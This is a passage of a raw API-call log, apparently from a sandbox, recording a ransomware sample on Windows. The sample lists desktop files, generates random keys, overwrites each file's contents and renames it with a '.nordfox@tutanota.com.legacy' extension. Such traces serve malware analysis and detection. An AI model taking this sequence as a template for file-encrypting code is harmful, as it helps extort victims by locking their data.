dwFlags=0x0, lpMem=0x2e201f8 | out: hHeap=0x520000) returned 1 [0118.099] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.099] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0118.100] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x406fe300, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0x8e4e80, ftLastAccessTime.dwHighDateTime=0x1d4d452, ftLastWriteTime.dwLowDateTime=0xd316e2b2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0118.100] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0118.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0118.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.100] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0118.100] GetLastError () returned 0x0 [0118.100] SetLastError (dwErrCode=0x0) [0118.100] GetLastError () returned 0x0 [0118.100] SetLastError (dwErrCode=0x0) [0118.100] GetLastError () returned 0x0 [0118.100] SetLastError (dwErrCode=0x0) [0118.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0118.100] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566c18 [0118.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c18 | out: hHeap=0x520000) returned 1 [0118.101] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0118.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0118.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.101] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaec1a970, ftCreationTime.dwHighDateTime=0x1d4ce2b, ftLastAccessTime.dwLowDateTime=0x5ff13f90, ftLastAccessTime.dwHighDateTime=0x1d4d399, ftLastWriteTime.dwLowDateTime=0x5ff13f90, ftLastWriteTime.dwHighDateTime=0x1d4d399, nFileSizeHigh=0x0, nFileSizeLow=0x11ea0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="c5-u_l1Lz8YJ.m4a", cAlternateFileName="C5-U_L~1.M4A")) returned 1 [0118.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.101] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0118.101] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0118.101] GetLastError () returned 0x0 [0118.101] SetLastError (dwErrCode=0x0) [0118.101] GetLastError () returned 0x0 [0118.101] SetLastError (dwErrCode=0x0) [0118.101] GetLastError () returned 0x0 [0118.101] SetLastError (dwErrCode=0x0) [0118.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.102] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54d7a010, ftCreationTime.dwHighDateTime=0x1d4d2e8, ftLastAccessTime.dwLowDateTime=0x771f5d70, ftLastAccessTime.dwHighDateTime=0x1d4cbf4, ftLastWriteTime.dwLowDateTime=0x771f5d70, ftLastWriteTime.dwHighDateTime=0x1d4cbf4, nFileSizeHigh=0x0, nFileSizeLow=0xd0f, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cUIt0qjTED4Aa4c5Q.flv", cAlternateFileName="CUIT0Q~1.FLV")) returned 1 [0118.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0118.102] GetLastError () returned 0x0 [0118.102] SetLastError (dwErrCode=0x0) [0118.102] GetLastError () returned 0x0 [0118.102] SetLastError (dwErrCode=0x0) [0118.102] GetLastError () returned 0x0 [0118.102] SetLastError (dwErrCode=0x0) [0118.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.102] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc443d0, ftCreationTime.dwHighDateTime=0x1d4c7fa, ftLastAccessTime.dwLowDateTime=0x2e1cc130, ftLastAccessTime.dwHighDateTime=0x1d4d004, ftLastWriteTime.dwLowDateTime=0x2e1cc130, ftLastWriteTime.dwHighDateTime=0x1d4d004, nFileSizeHigh=0x0, nFileSizeLow=0xa675, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="gOYAfd6941Fl5Ebq.mp4", cAlternateFileName="GOYAFD~1.MP4")) returned 1 [0118.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0118.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0118.102] GetLastError () returned 0x0 [0118.102] SetLastError (dwErrCode=0x0) [0118.102] GetLastError () returned 0x0 [0118.103] SetLastError (dwErrCode=0x0) [0118.103] GetLastError () returned 0x0 [0118.103] SetLastError (dwErrCode=0x0) [0118.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.103] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd19a2950, ftCreationTime.dwHighDateTime=0x1d4c7e0, ftLastAccessTime.dwLowDateTime=0xc8009060, ftLastAccessTime.dwHighDateTime=0x1d4ce51, ftLastWriteTime.dwLowDateTime=0xc8009060, ftLastWriteTime.dwHighDateTime=0x1d4ce51, nFileSizeHigh=0x0, nFileSizeLow=0x10178, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="HCc2m2Kp.xlsx", cAlternateFileName="HCC2M2~1.XLS")) returned 1 [0118.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0118.103] GetLastError () returned 0x0 [0118.103] SetLastError (dwErrCode=0x0) [0118.103] GetLastError () returned 0x0 [0118.103] SetLastError (dwErrCode=0x0) [0118.103] GetLastError () returned 0x0 [0118.103] SetLastError (dwErrCode=0x0) [0118.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ce8 | out: hHeap=0x520000) returned 1 [0118.103] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b58b840, ftCreationTime.dwHighDateTime=0x1d4cd6a, ftLastAccessTime.dwLowDateTime=0xb380b90, ftLastAccessTime.dwHighDateTime=0x1d4ce68, ftLastWriteTime.dwLowDateTime=0xb380b90, ftLastWriteTime.dwHighDateTime=0x1d4ce68, nFileSizeHigh=0x0, nFileSizeLow=0x14c52, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="mbGpALg83B8_CPy.png", cAlternateFileName="MBGPAL~1.PNG")) returned 1 [0118.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.104] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0118.104] GetLastError () returned 0x0 [0118.104] SetLastError (dwErrCode=0x0) [0118.104] GetLastError () returned 0x0 [0118.104] SetLastError (dwErrCode=0x0) [0118.104] GetLastError () returned 0x0 [0118.104] SetLastError (dwErrCode=0x0) [0118.104] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.104] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd316e2b2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd316e2b2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd319410a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0118.104] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0118.104] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0118.104] GetLastError () returned 0x0 [0118.104] SetLastError (dwErrCode=0x0) [0118.104] GetLastError () returned 0x0 [0118.104] SetLastError (dwErrCode=0x0) [0118.104] GetLastError () returned 0x0 [0118.104] SetLastError (dwErrCode=0x0) [0118.105] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.105] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4d46b20, ftCreationTime.dwHighDateTime=0x1d4d204, ftLastAccessTime.dwLowDateTime=0x4e33de80, ftLastAccessTime.dwHighDateTime=0x1d4d37a, ftLastWriteTime.dwLowDateTime=0x4e33de80, ftLastWriteTime.dwHighDateTime=0x1d4d37a, nFileSizeHigh=0x0, nFileSizeLow=0xe0a6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="soy3Vu vLzyRX0z3ru.avi", cAlternateFileName="SOY3VU~1.AVI")) returned 1 [0118.105] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.105] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0118.105] GetLastError () returned 0x0 [0118.105] SetLastError (dwErrCode=0x0) [0118.105] GetLastError () returned 0x0 [0118.105] SetLastError (dwErrCode=0x0) [0118.105] GetLastError () returned 0x0 [0118.105] SetLastError (dwErrCode=0x0) [0118.105] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.105] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b071510, ftCreationTime.dwHighDateTime=0x1d4cb01, ftLastAccessTime.dwLowDateTime=0xa16c1d40, ftLastAccessTime.dwHighDateTime=0x1d4c6e3, ftLastWriteTime.dwLowDateTime=0xa16c1d40, ftLastWriteTime.dwHighDateTime=0x1d4c6e3, nFileSizeHigh=0x0, nFileSizeLow=0x6f23, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="uAljyAp q12x88Oo_Pb.gif", cAlternateFileName="UALJYA~1.GIF")) returned 1 [0118.105] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0118.105] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0118.105] GetLastError () returned 0x0 [0118.105] SetLastError (dwErrCode=0x0) [0118.105] GetLastError () returned 0x0 [0118.105] SetLastError (dwErrCode=0x0) [0118.106] GetLastError () returned 0x0 [0118.106] SetLastError (dwErrCode=0x0) [0118.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.106] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e2b9d0, ftCreationTime.dwHighDateTime=0x1d4c63c, ftLastAccessTime.dwLowDateTime=0xa96f9d00, ftLastAccessTime.dwHighDateTime=0x1d4c95e, ftLastWriteTime.dwLowDateTime=0xa96f9d00, ftLastWriteTime.dwHighDateTime=0x1d4c95e, nFileSizeHigh=0x0, nFileSizeLow=0x4d3c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="YvhWKZNK8DjdusuAkDOg.avi", cAlternateFileName="YVHWKZ~1.AVI")) returned 1 [0118.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0118.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0118.106] GetLastError () returned 0x0 [0118.106] SetLastError (dwErrCode=0x0) [0118.106] GetLastError () returned 0x0 [0118.106] SetLastError (dwErrCode=0x0) [0118.106] GetLastError () returned 0x0 [0118.106] SetLastError (dwErrCode=0x0) [0118.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0118.106] FindNextFileW (in: hFindFile=0x567298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e2b9d0, ftCreationTime.dwHighDateTime=0x1d4c63c, ftLastAccessTime.dwLowDateTime=0xa96f9d00, ftLastAccessTime.dwHighDateTime=0x1d4c95e, ftLastWriteTime.dwLowDateTime=0xa96f9d00, ftLastWriteTime.dwHighDateTime=0x1d4c95e, nFileSizeHigh=0x0, nFileSizeLow=0x4d3c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="YvhWKZNK8DjdusuAkDOg.avi", cAlternateFileName="YVHWKZ~1.AVI")) returned 0 [0118.106] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0118.107] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0118.107] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\YvhWKZNK8DjdusuAkDOg.avi", dwFileAttributes=0x80) returned 1 [0118.107] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0118.107] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\YvhWKZNK8DjdusuAkDOg.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\yvhwkznk8djdusuakdog.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0118.107] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=19772) returned 1 [0118.108] ReadFile (in: hFile=0x6ac, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x4d3c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d3c, lpOverlapped=0x0) returned 1 [0118.108] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-19772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.109] WriteFile (in: hFile=0x6ac, lpBuffer=0x60e920*, nNumberOfBytesToWrite=0x4d3c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e920*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d3c, lpOverlapped=0x0) returned 1 [0118.109] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.109] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60e920 | out: hHeap=0x520000) returned 1 [0118.109] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d3c [0118.109] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.109] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.109] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.110] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.110] CloseHandle (hObject=0x6ac) returned 1 [0118.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0118.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0118.110] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\YvhWKZNK8DjdusuAkDOg.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\yvhwkznk8djdusuakdog.avi"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\YvhWKZNK8DjdusuAkDOg.avi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\yvhwkznk8djdusuakdog.avi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bec8 | out: hHeap=0x520000) returned 1 [0118.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0118.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0118.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0118.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0118.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0118.114] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\uAljyAp q12x88Oo_Pb.gif", dwFileAttributes=0x80) returned 1 [0118.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0118.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bfa0 [0118.114] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0118.114] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\uAljyAp q12x88Oo_Pb.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\ualjyap q12x88oo_pb.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0118.115] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=28451) returned 1 [0118.115] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6f23) returned 0x609bd8 [0118.115] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6f23) returned 0x610b08 [0118.115] ReadFile (in: hFile=0x6ac, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x6f23, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x6f23, lpOverlapped=0x0) returned 1 [0118.116] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-28451, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.116] WriteFile (in: hFile=0x6ac, lpBuffer=0x610b08*, nNumberOfBytesToWrite=0x6f23, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610b08*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6f23, lpOverlapped=0x0) returned 1 [0118.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610b08 | out: hHeap=0x520000) returned 1 [0118.116] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6f23 [0118.116] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.116] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.117] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.117] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.117] CloseHandle (hObject=0x6ac) returned 1 [0118.117] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0118.117] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0118.117] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\uAljyAp q12x88Oo_Pb.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\ualjyap q12x88oo_pb.gif"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\uAljyAp q12x88Oo_Pb.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\ualjyap q12x88oo_pb.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bfa0 | out: hHeap=0x520000) returned 1 [0118.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0118.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.119] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.119] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0118.119] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0118.119] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0118.119] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0118.119] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\soy3Vu vLzyRX0z3ru.avi", dwFileAttributes=0x80) returned 1 [0118.120] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0118.120] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55c078 [0118.120] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0118.120] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\soy3Vu vLzyRX0z3ru.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\soy3vu vlzyrx0z3ru.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0118.120] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=57510) returned 1 [0118.120] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0a6) returned 0x609bd8 [0118.120] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0a6) returned 0x2e41f30 [0118.120] ReadFile (in: hFile=0x6ac, lpBuffer=0x609bd8, nNumberOfBytesToRead=0xe0a6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0xe0a6, lpOverlapped=0x0) returned 1 [0118.121] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-57510, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.122] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0xe0a6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe0a6, lpOverlapped=0x0) returned 1 [0118.122] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.122] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.124] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe0a6 [0118.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 